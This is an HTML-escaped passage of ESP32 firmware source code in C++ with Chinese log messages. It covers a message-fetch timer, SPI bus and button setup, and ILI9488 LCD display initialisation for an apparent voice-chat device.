&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&amp;nbsp;else&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ESP_LOGD(TAG,&amp;nbsp;&amp;quot;获取消息失败，等待下次定时器&amp;quot;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&amp;nbsp;else&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ESP_LOGD(TAG,&amp;nbsp;&amp;quot;当前Listening会话已获取过消息，等待状态变化&amp;quot;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&amp;nbsp;else&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//&amp;nbsp;不在Listening状态，重置获取标志
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;(self-&amp;gt;has_fetched_in_current_idle_&amp;nbsp;&amp;amp;&amp;amp;&amp;nbsp;device_state&amp;nbsp;!=&amp;nbsp;kDeviceStateListening)&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ESP_LOGD(TAG,&amp;nbsp;&amp;quot;设备离开Listening状态，重置获取标志&amp;quot;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;self-&amp;gt;has_fetched_in_current_idle_&amp;nbsp;=&amp;nbsp;false;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//&amp;nbsp;启动消息获取定时器
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;bool&amp;nbsp;StartMessageFetching()&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;(is_fetching_messages_)&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ESP_LOGW(TAG,&amp;nbsp;&amp;quot;消息获取已在运行&amp;quot;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return&amp;nbsp;true;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ESP_LOGI(TAG,&amp;nbsp;&amp;quot;启动消息获取定时器...&amp;quot;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//&amp;nbsp;创建定时器配置
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;esp_timer_create_args_t&amp;nbsp;timer_args&amp;nbsp;=&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;.callback&amp;nbsp;=&amp;nbsp;MessageTimerCallback,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;.arg&amp;nbsp;=&amp;nbsp;this,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;.dispatch_method&amp;nbsp;=&amp;nbsp;ESP_TIMER_TASK,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;.name&amp;nbsp;=&amp;nbsp;&amp;quot;message_fetch_timer&amp;quot;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;};
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//&amp;nbsp;创建定时器
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;esp_err_t&amp;nbsp;ret&amp;nbsp;=&amp;nbsp;esp_timer_create(&amp;amp;timer_args,&amp;nbsp;&amp;amp;message_timer_);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;(ret&amp;nbsp;!=&amp;nbsp;ESP_OK)&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ESP_LOGE(TAG,&amp;nbsp;&amp;quot;创建定时器失败:&amp;nbsp;%s&amp;quot;,&amp;nbsp;esp_err_to_name(ret));
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return&amp;nbsp;false;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//&amp;nbsp;启动定时器（每秒触发一次）
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ret&amp;nbsp;=&amp;nbsp;esp_timer_start_periodic(message_timer_,&amp;nbsp;MESSAGE_FETCH_INTERVAL_MS&amp;nbsp;*&amp;nbsp;1000);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;(ret&amp;nbsp;!=&amp;nbsp;ESP_OK)&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ESP_LOGE(TAG,&amp;nbsp;&amp;quot;启动定时器失败:&amp;nbsp;%s&amp;quot;,&amp;nbsp;esp_err_to_name(ret));
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;esp_timer_delete(message_timer_);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;message_timer_&amp;nbsp;=&amp;nbsp;nullptr;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return&amp;nbsp;false;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;is_fetching_messages_&amp;nbsp;=&amp;nbsp;true;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;has_fetched_in_current_idle_&amp;nbsp;=&amp;nbsp;false;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ESP_LOGI(TAG,&amp;nbsp;&amp;quot;消息获取定时器启动成功，间隔:&amp;nbsp;%d&amp;nbsp;ms&amp;quot;,&amp;nbsp;MESSAGE_FETCH_INTERVAL_MS);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return&amp;nbsp;true;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;//&amp;nbsp;停止消息获取
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;void&amp;nbsp;StopMessageFetching()&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;(!is_fetching_messages_)&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;return;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ESP_LOGI(TAG,&amp;nbsp;&amp;quot;停止消息获取定时器&amp;quot;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;is_fetching_messages_&amp;nbsp;=&amp;nbsp;false;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;(message_timer_)&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;esp_timer_stop(message_timer_);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;esp_timer_delete(message_timer_);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;message_timer_&amp;nbsp;=&amp;nbsp;nullptr;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;has_fetched_in_current_idle_&amp;nbsp;=&amp;nbsp;false;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ESP_LOGI(TAG,&amp;nbsp;&amp;quot;消息获取定时器已停止&amp;quot;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;void&amp;nbsp;InitializeSpi()&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;spi_bus_config_t&amp;nbsp;buscfg&amp;nbsp;=&amp;nbsp;{};
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;buscfg.mosi_io_num&amp;nbsp;=&amp;nbsp;DISPLAY_MOSI_PIN;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;buscfg.miso_io_num&amp;nbsp;=&amp;nbsp;GPIO_NUM_NC;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;buscfg.sclk_io_num&amp;nbsp;=&amp;nbsp;DISPLAY_CLK_PIN;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;buscfg.quadwp_io_num&amp;nbsp;=&amp;nbsp;GPIO_NUM_NC;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;buscfg.quadhd_io_num&amp;nbsp;=&amp;nbsp;GPIO_NUM_NC;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;buscfg.max_transfer_sz&amp;nbsp;=&amp;nbsp;DISPLAY_WIDTH&amp;nbsp;*&amp;nbsp;DISPLAY_HEIGHT&amp;nbsp;*&amp;nbsp;sizeof(uint16_t);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ESP_ERROR_CHECK(spi_bus_initialize(SPI3_HOST,&amp;nbsp;&amp;amp;buscfg,&amp;nbsp;SPI_DMA_CH_AUTO));
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;void&amp;nbsp;InitializeButtons()&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;boot_button_.OnClick([this]()&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;auto&amp;amp;&amp;nbsp;app&amp;nbsp;=&amp;nbsp;Application::GetInstance();
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;if&amp;nbsp;(app.GetDeviceState()&amp;nbsp;==&amp;nbsp;kDeviceStateStarting&amp;nbsp;&amp;amp;&amp;amp;&amp;nbsp;!WifiStation::GetInstance().IsConnected())&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ResetWifiConfiguration();
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;app.ToggleChatState();
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;});
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;void&amp;nbsp;InitializeDisplay()&amp;nbsp;{
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;esp_lcd_panel_io_handle_t&amp;nbsp;panel_io&amp;nbsp;=&amp;nbsp;nullptr;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;esp_lcd_panel_handle_t&amp;nbsp;panel&amp;nbsp;=&amp;nbsp;nullptr;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ESP_LOGD(TAG,&amp;nbsp;&amp;quot;Install&amp;nbsp;panel&amp;nbsp;IO&amp;quot;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;esp_lcd_panel_io_spi_config_t&amp;nbsp;io_config&amp;nbsp;=&amp;nbsp;{};
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;io_config.cs_gpio_num&amp;nbsp;=&amp;nbsp;DISPLAY_CS_PIN;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;io_config.dc_gpio_num&amp;nbsp;=&amp;nbsp;DISPLAY_DC_PIN;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;io_config.spi_mode&amp;nbsp;=&amp;nbsp;DISPLAY_SPI_MODE;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;io_config.pclk_hz&amp;nbsp;=&amp;nbsp;40&amp;nbsp;*&amp;nbsp;1000&amp;nbsp;*&amp;nbsp;1000;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;io_config.trans_queue_depth&amp;nbsp;=&amp;nbsp;10;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;io_config.lcd_cmd_bits&amp;nbsp;=&amp;nbsp;8;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;io_config.lcd_param_bits&amp;nbsp;=&amp;nbsp;8;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ESP_ERROR_CHECK(esp_lcd_new_panel_io_spi(SPI3_HOST,&amp;nbsp;&amp;amp;io_config,&amp;nbsp;&amp;amp;panel_io));

&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ESP_LOGD(TAG,&amp;nbsp;&amp;quot;Install&amp;nbsp;LCD&amp;nbsp;driver&amp;quot;);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;esp_lcd_panel_dev_config_t&amp;nbsp;panel_config&amp;nbsp;=&amp;nbsp;{};
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;panel_config.reset_gpio_num&amp;nbsp;=&amp;nbsp;DISPLAY_RST_PIN;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;panel_config.rgb_ele_order&amp;nbsp;=&amp;nbsp;DISPLAY_RGB_ORDER;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;panel_config.bits_per_pixel&amp;nbsp;=&amp;nbsp;18;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;ESP_ERROR_CHECK(esp_lcd_new_panel_ili9488(panel_io,&amp;nbsp;&amp;amp;panel_config,&amp;nbsp;LV_BUFFER_SIZE,&amp;nbsp;&amp;amp;panel));
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;esp_lcd_panel_reset(panel);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;esp_lcd_panel_init(panel);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;esp_lcd_panel_invert_color(panel,&amp;nbsp;false);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;esp_lcd_panel_swap_xy(panel,&amp;nbsp;DISPLAY_SWAP_XY);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;esp_lcd_panel_mirror(panel,&amp;nbsp;DISPLAY_MIRROR_X,&amp;nbsp;DISPLAY_MIRROR_Y);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;esp_lcd_panel_disp_on_off(panel,&amp;nbsp;true);
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;
#if&amp;nbsp;USE_LVGL_DEFAULT
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;display_&amp;nbsp;=&amp;nbsp;new&amp;nbsp;SpiLcdDisplay(panel_io,&amp;nbsp;panel,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;DISPLAY_WIDTH,&amp;nbsp;DISPLAY_HEIGHT,&amp;nbsp;DISPLAY_OFFSET_X,&amp;nbsp;DISPLAY_OFFSET_Y,&amp;nbsp;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;DISPLAY_MIRROR_X,&amp;nbsp;DISPLAY_MIRROR_Y,&amp;nbsp;DISPLAY_SWAP_XY,
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{
